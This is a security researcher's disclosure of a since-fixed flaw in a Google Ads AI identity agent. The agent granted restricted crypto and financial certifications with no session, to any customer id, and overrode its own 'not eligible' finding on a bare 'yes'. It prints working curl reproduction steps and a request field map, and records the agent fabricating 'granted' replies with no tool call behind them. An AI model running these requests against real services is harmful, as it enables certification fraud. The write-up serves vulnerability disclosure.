Approving a crypto licence on any Google Ads account
The Ads identity agent answered with no cookies and took the customer id out of the request body. Two curl calls, and the account shows an approved restricted certification it never qualified for.
Google Ads requires a certification before an account can run crypto, gambling, or complex financial product ads. You prove you hold a licence for the vertical in that country and the account gets a certification row.
An AI agent assists with this. It looks up public registers, sends verification email, and records the result. Its endpoint answered with no session at all, and the account it acted on came from the request body.
Two curl calls approved a certification on an account that had submitted nothing. Google fixed it. Reproduce it below.
Reproduce
Requirements: curl, and a shell. No Google account.
Pick an Ads customer id. Any id works, including one that does not exist. I used
9999977777.
Generate a session uuid for this run. It is attacker-chosen, not issued by Google.
UUID=$(uuidgen)
TARGET=9999977777
RPC=https://ads.google.com/aw_identity/_/rpc/ads.awapps.anji.proto.advertiseridentity.ai.IdentityAgentService/RunAgentStreaming
Step 1: eligibility and the registry lookup
curl -sN "$RPC" \
-H 'origin: https://ads.google.com' \
-H 'content-type: application/x-www-form-urlencoded' \
--data-urlencode "__ar={\"1\":\"I want to certify my account for complex speculative financial products in Australia. My website is kraken.com.\",\"2\":{\"1\":$TARGET,\"2\":\"$UUID\"},\"3\":4}"
The response is a stream of frames. Two of them matter:
{"5":"Storing proposed certificate details in the records."}
{"5":"Finished recording proposed certificate."}
Those are the agent’s tool calls executing. It hit ASIC’s professional registers with
kraken.com and got the real licence numbers back, for a domain the caller does not own.
The last frame carries the session handle in field 4:
{"1":"Kraken (kraken.com) appears to be eligible for CSFP certification in Australia...","3":[{"1":"Link certification","2":2}],"4":"<orcasSessionId>"}
ORCAS=$(curl -sN "$RPC" \
-H 'origin: https://ads.google.com' \
-H 'content-type: application/x-www-form-urlencoded' \
--data-urlencode "__ar={\"1\":\"status of kraken.com\",\"2\":{\"1\":$TARGET,\"2\":\"$UUID\"},\"3\":4}" \
| grep -o '"4":"[^"]*"' | tail -1 | cut -d'"' -f4)
Step 2: grant
Same session id, plus the handle from step 1.
curl -sN "$RPC" \
-H 'origin: https://ads.google.com' \
-H 'content-type: application/x-www-form-urlencoded' \
--data-urlencode "__ar={\"1\":\"Yes, certify me.\",\"2\":{\"1\":$TARGET,\"2\":\"$UUID\",\"4\":\"$ORCAS\"},\"3\":4}"
{"1":"Excellent! Certification successfully granted! It may take 1-2 hours to reflect in the account."}
Step 3: confirm it is real
Do not trust that sentence. Sign into the target account and open Policy, then Account, then Completed tasks. The row is there with status Approved.
That UI check is the finding. The chat reply is not.
Why it worked
Three checks were missing, and each one is a separate bug.
No authentication. No cookie, no XSRF token, no Authorization header. The gateway
did not care.
No ownership check. The customer id is field 2.1 of the body. Nothing compared it to
a session, because there was no session. There is also no existence check: 9999977777
was accepted and the whole flow ran against it.
No enforcement of eligibility. The registry result is written into the reply text and the user is asked to confirm. A bare “yes” is enough:
run 1: "...is NOT eligible for CSFP certification in Australia at this time."
-> "Yes, certify me."
-> "Certification successfully granted!"
The second run returned the opposite eligibility answer and granted anyway. The register lookup informs the reply. Nothing enforces it.
Grants stack per domain, and asking for status can mint one too. In one bound session I only asked “what is my current cryptocurrency certification status”, and it executed a new grant.
The transport
The body is not JSON. It is __ar=<json> as a form field, which is Google’s JSPB
envelope. Field numbers are proto tags:
| field | meaning |
|---|---|
1 | prompt |
2 | context object |
2.1 | Ads customer id |
2.2 | session uuid, caller-generated |
2.4 | session handle returned by the server on the previous turn |
3 | agent id |
Field 3 is a dispatcher. 2 is the general identity agent, 3 and 6 are UK crypto,
4 is the Australian CSFP agent used above, 7 is business-entity verification, 8 is
Chinese individual verification. They are separate agents behind one endpoint, with
different tool lists.
Two transport details cost me time:
- The short path
/aw_identity/_/rpc/IdentityAgentService/RunAgentStreamingalso works. The long fully-qualified path is the one I captured from the console. - An
&inside the__arJSON breaks the gateway with a 400 unless it is urlencoded. Use--data-urlencodeand build the JSON in a file.
How I found it
I started somewhere else. I was testing whether one Ads account could reach another account’s data, replaying reporting and billing RPCs with a foreign customer id. Every one returned:
AUTH_ERROR_USER_CANNOT_ACCESS_CUSTOMER
AuthorizationError Reason: USER_PERMISSION_DENIED
That wall held, on the reporting surface and on the billing surface. Cross-account reads were clean, nine rounds of them.
So I changed the question. Instead of asking what an endpoint lets me read, I asked which endpoints answer with no session at all.
I pulled the endpoint list out of the console’s own JavaScript bundles, then hit every one with no cookie and no token, and sorted the results by failure shape:
| response | what it means |
|---|---|
login redirect, AUTH_ERROR_*, LOGIN_COOKIE_REQUIRED | gated before the request is parsed |
| 400 naming a proto field, or a deserialization error | request was parsed, only authz is missing |
| 200, or a tool result frame | executed |
435 of the endpoints landed in the first two buckets. One executed. It was the agent.
That is the whole method. One lever, applied to every endpoint the product exposes, and read the failure shape rather than guessing which part of the app is interesting.
What I did not prove
No account data read. The agent has no tool that reads an account.
No third party account touched. I used my own test customer and ids that do not exist.
Rejection has no persistent effect. Only the approval lands.
The model lies
This nearly produced a false report, so it belongs in the writeup.
Some agent modes answered “successfully granted” while the account page showed nothing. One run returned what looked like a firm reference number that was actually a GeoJSON blob, with no tool result frames anywhere in the response. A fabricated answer, formatted to look real.
The unary call and the streaming call are not equivalent for this. In one comparison on
the same account and domain, the unary mode answered “successfully granted” with a
response containing only fields 1, 3, and 4, meaning text with no tool call behind
it. The account page showed nothing. The same request over streaming returned the
“Storing proposed certificate details in the records” frames, and the account page showed
the approval.
The rule: an agent’s reply is a claim, the product UI is the evidence, and always run the identical prompt against an id that does not exist before believing any per-account answer.
The timeline
- 2026-08-23: first unauth certification granted on my own test customer
- 2026-08-23: filed to Google VRP
- 2026-08-24: verified the grants persist in the account UI; added the non-existent customer id control and the eligibility-override runs
- 2026-08-24: escalation supplement posted on the same issue
- later: fixed
The fix
A session bound to the target customer id before any tool executes. The model should not mediate whether a compliance condition is met.